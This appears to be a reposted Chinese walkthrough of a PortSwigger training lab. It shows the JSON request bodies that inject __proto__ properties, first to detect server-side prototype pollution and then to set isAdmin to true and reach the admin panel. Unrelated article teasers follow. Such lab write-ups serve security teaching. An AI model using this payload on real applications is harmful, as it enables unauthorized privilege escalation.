服务器端污染属性反射提升权限

news2024/11/29 20:55:38

污染属性反射检测服务器端原型污染

通过服务器端原型污染提升权限

Lab: Privilege escalation via server-side prototype pollution

必要知识点

开发人员很容易陷入的一个陷阱是忘记或忽略 JavaScript 循环迭代对象的所有可枚举属性这一事实,包括它通过原型链继承的属性。
利用POSTPUT方法向应用程序或API提交JSON数据处容易存在该类漏洞。如果应用程序在发送JSON数据后在响应中包含返回的属性,可以尝试使用任意属性污染全局来探测该漏洞是否存在。

实验室要求

本练习基于 Node.jsExpress 框架构建。它容易受到服务器端原型污染的影响,因为它不安全地将用户可控制的输入合并到服务器端 JavaScript 对象中。这很容易检测,因为通过原型链继承的任何污染属性在 HTTP 响应中都是可见的。
要解决实验室问题,请执行以下操作:

  1. 查找可用于全局Object.prototype
  2. 确定可用于提升权限的小工具属性。
  3. 访问管理面板并删除carlos用户 。
    您可以使用以下凭据登录到自己的帐户:wiener:peter

⚡️黑盒测试

● 首先访问对应的靶场界面

https://portswigger.net/web-security/prototype-pollution/server-side/lab-privilege-escalation-via-server-side-prototype-pollution

● 启动靶场

1. 分析功能点

这是一个购物SHOP的网站,存在登录以及查看商品信息的功能点。
利用对应的账号密码wiener:peter进行登录

登录之后存在填写收获地址的功能点,较为符合购物网站的逻辑。

2.查看历史记录

我们查看对应的burp历史记录
令人感兴趣的功能点是最后点击地址的时候,发现存在一处isAdmin
对于渗透测试人员来说,存在Admin类的内容是需要重点关注的

3.功能点探究

点击提交表单之后,字段中的数据将会作为json发送到服务器端(一共五个参数)

POST /my-account/change-address

{"address_line_1":"Wiener HQ","address_line_2":"One Wiener Way","city":"Wienerville","postcode":"BU1 1RP","country":"UK","sessionId":"13fCt30FePQKqB6vxfWNG0Rk9CJt9F7L"}

服务器对于接受到的数据会进行响应,响应的内容似乎就是我自己这个用户
相比较而言,多了username firstname lastname isAdmin的参数

HTTP/1.1 200 OK

{"username":"wiener","firstname":"Peter","lastname":"Wiener","address_line_1":"Wiener HQ","address_line_2":"One Wiener Way","city":"Wienerville","postcode":"BU1 1RP","country":"UK","isAdmin":false}
4.原型污染尝试

因为在该处功能点之中是以POST请求提交了JSON参数,并且在回显的响应中包含了返回的属性,因此进行服务器端原型污染的探测。
构造注入响应 __proto__

POST /my-account/change-address

{"address_line_1":"Wiener HQ","address_line_2":"One Wiener Way","city":"Wienerville","postcode":"BU1 1RP","country":"UK","sessionId":"13fCt30FePQKqB6vxfWNG0Rk9CJt9F7L",
"__proto__":{
		"foo":"bar"
	}
}

利用burp的重放模块发现存在服务器端原型污染漏洞
判定该网站易受攻击,注入的属性将出现在响应的更新对象中

5.漏洞利用

确定可以服务器端原型污染的问题之后,我们可以利用这个问题扩大战果
isAdmin参数为false就很像越权问题,尝试构造权限提升 false->true

POST /my-account/change-address

{"address_line_1":"Wiener HQ","address_line_2":"One Wiener Way","city":"Wienerville","postcode":"BU1 1RP","country":"UK","sessionId":"13fCt30FePQKqB6vxfWNG0Rk9CJt9F7L",
"__proto__":{
		"isAdmin":"true"
	}
}

发送请求之后,发现响应进行了更新。
表明isAdmin对象没有自己的属性,而是从受污染的原型继承了它。

通常权限提升之后,我们就可以看到更多的内容,访问个人用户发现多了一个功能点Admin panel

点击删除carlos用户

完成实验

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/951628.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

医学案例|线性回归

一、案例介绍 某医师预研究糖尿病患者的总胆固醇和甘油三酯对空腹血糖的影响,某研究者调查40名糖尿病患者的总胆固醇、甘油三酯和空腹血糖的测量值如下,试根据上述研究问题作统计分析。 二、问题分析 本案例想要研究一些变量(总胆固醇和甘油…

PocketMiner:基于深度学习发现蛋白的隐式口袋

文章目录 1. 文章简介2. 前言3. 方法3.1 模型框架 4. 结果4.1 已知隐式口袋在分子动力学模拟分析迅速打开4.2 图神经网络模型能够准确预测模拟中口袋的动态变化4.3 隐式口袋数据集数据集揭示了新的隐式口袋形成的模式4.4 PocketMiner能够从无配体的蛋白结构中精准预测预测口袋4…

2007-2022年上市公司污染排放数据/2007-2022年上市公司污染排放水平、污染排放量数据

2007-2022年上市公司污染排放数据/2007-2022年上市公司污染排放水平、污染排放量数据 1、时间:2007-2022年 2、指标:证券代码、year、化学需氧量、氨氮排放量、总氮、总磷、水体综合污染当量对数、二氧化硫、氮氧化物、烟尘、空气综合污染当量对数、总…

小游戏分发平台如何以技术拓流?

2023年,小游戏的发展将受到多方面的影响,例如新技术的引入、参与小游戏的新玩家以及游戏市场的激烈竞争等。首先,新技术如虚拟现实(VR)、增强现实(AR)和机器人技术都可以带来新颖的游戏体验。其…

滑动窗口实例1(长度最小的子数组)

题目: 给定一个含有 n 个正整数的数组和一个正整数 target 。 找出该数组中满足其和 ≥ target 的长度最小的 连续子数组 [numsl, numsl1, ..., numsr-1, numsr] ,并返回其长度。如果不存在符合条件的子数组,返回 0 。 示例 1: …

VC++使用Microsoft Speech SDK进行文字TTS朗读

Microsoft Speech SDK下载地址 https://www.microsoft.com/en-us/download/details.aspx?id=10121 需要msttss22L.exe、SpeechSDK51.exe、SpeechSDK51LangPack.exe三个,下载后全部安装 使用VS2005建立一个win32控制台项目 朗读"hello word"、中文“你好”的程序 …

百科有不需要的信息怎么删除?

百科词条的权威性众所周知,所以百度百科的内容审核也非常严格,百科营销成为目前网络营销工作中一个难点,很多企业无法得到自己完全满意的百度百科词条 ,这其实也是合理的。小马识途营销顾问分析,百科词条内容是提供给广…

10、【WebGIS实战】图层篇——通用服务图层加载全流程(适用于全部图层)

大家好,我是X北辰北。本文是「WebGIS实战」系列,关注这个标签,阅读所有文章,成为WebGIS开发高手。 图层可以理解为添加到地图上面的数据,比如我们要在地图上展示成都市所有大型公园的位置,那么当前地图中除了初始化地图时添加的底图之外,在底图的上面我们还叠加了一份关…

HuggingFace中的 Files and versions 如何优雅下载到本地?(Python requests,tqdm)

前言 在使用huggingface把玩各种大模型时,如果选择从远程加载模型,这个过程可能因为网络问题而非常耗时甚至直接失败,所以把模型、分词器等相关文件下载到本地,再直接从本地加载就成了不可回避的流程。 在进入具体版本的模型后&…

新版Mongodb(6.0以上)找不到mongo.exe

安装目录下/bin目录中,没有mongo.exe文件,只有mongod和mongos,以及一个powershell命令脚本。 原因在于,mongodb6.0以后做出了重大改变,mongodb已经不再默认为你安装shell工具,因此需要安装一个额外的shell…

二十二、迭代器模式

一、什么是迭代器模式 迭代器(Iterator)模式的定义:迭代器模式是一种对象行为型模式,它提供一个对象来顺序访问聚合对象中的一系列数据,而不暴露聚合对象的内部表示。   迭代器模式包含以下主要角色: 抽象聚合&…

字符串匹配的Rabin–Karp算法

leetcode-28 实现strStr() 更熟悉的字符串匹配算法可能是KMP算法, 但在Golang中,使用的是Rabin–Karp算法 一般中文译作 拉宾-卡普算法,由迈克尔拉宾与理查德卡普于1987年提出 “ 要在一段文本中找出单个模式串的一个匹配,此算法具有线性时间的平均复杂度&#xff0…

【XAMPP】启动数据库Error: MySQL shutdown unexpectedly.

问题: 启动MySQL时报错如下: Error: MySQL shutdown unexpectedly. This may be due to a blocked port, missing dependencies, improper privileges, a crash, or a shutdown by another method. Press the Logs button to view error logs and check…

SQL-子查询

SQL 子查询 是指将一个SELECT查询(子查询)的结果用括号括起来作为另一个SQL语句的数据来源或者判断条件

RK3399平台开发系列讲解(入门篇)内核模块详细加载/卸载过程

🚀返回专栏总目录 文章目录 一、 ko文件的文件格式二、内核模块加载过程三、内核模块卸载过程沉淀、分享、成长,让自己和他人都能有所收获!😄 📢 本篇将介绍内核模块详细加载/卸载过程。 一、 ko文件的文件格式 “KO” 文件通常是指 Linux 内核模块文件,这些文件包含…

现货黄金走势图中的止盈点

对平仓时机的把握能力,是衡量现货黄金投资者水平的重要标志,止盈点设置得是否合理,在行情兑现的时候能否及时地离场,是事关投资者账户浮盈最终能否落袋为安的“头等大事”,要在现货黄金走势图中把握止盈点,…

【LeetCode-中等题】230. 二叉搜索树中第K小的元素

文章目录 题目方法一:层序遍历 集合排序方法二:中序遍历(栈 或者 递归 )方法三(方法二改进):中序遍历(栈 ) 题目 该题最大的特点就是这个树是二叉树: 所以…

自然语言处理(六):词的相似性和类比任务

词的相似性和类比任务 在前面的章节中,我们在一个小的数据集上训练了一个word2vec模型,并使用它为一个输入词寻找语义相似的词。实际上,在大型语料库上预先训练的词向量可以应用于下游的自然语言处理任务,为了直观地演示大型语料…

C语言:递归思想及实例详解

简介:在计算机科学中是指一种通过重复将问题分解为同类的子问题而解决问题的方法。通过函数的自调用化繁为简。 递归可以说是编程中最神奇的一种算法。因为我们有时候可能不能完全明晰代码的运行过程,但是我们却知道代码可以跑出正确的结果。而当我们使…

docker打包vue vite前端项目

打包vue vite 前端项目 1.打包时将测试删除 2.修改配置 3.打包项目 npm run build 显示成功(黄的也不知道是啥) 打包好的前端文件放入 4.配置 default.conf upstream wms-app {server 你自己的ip加端口 ;server 192.168.xx.xx:8080 ; } server { …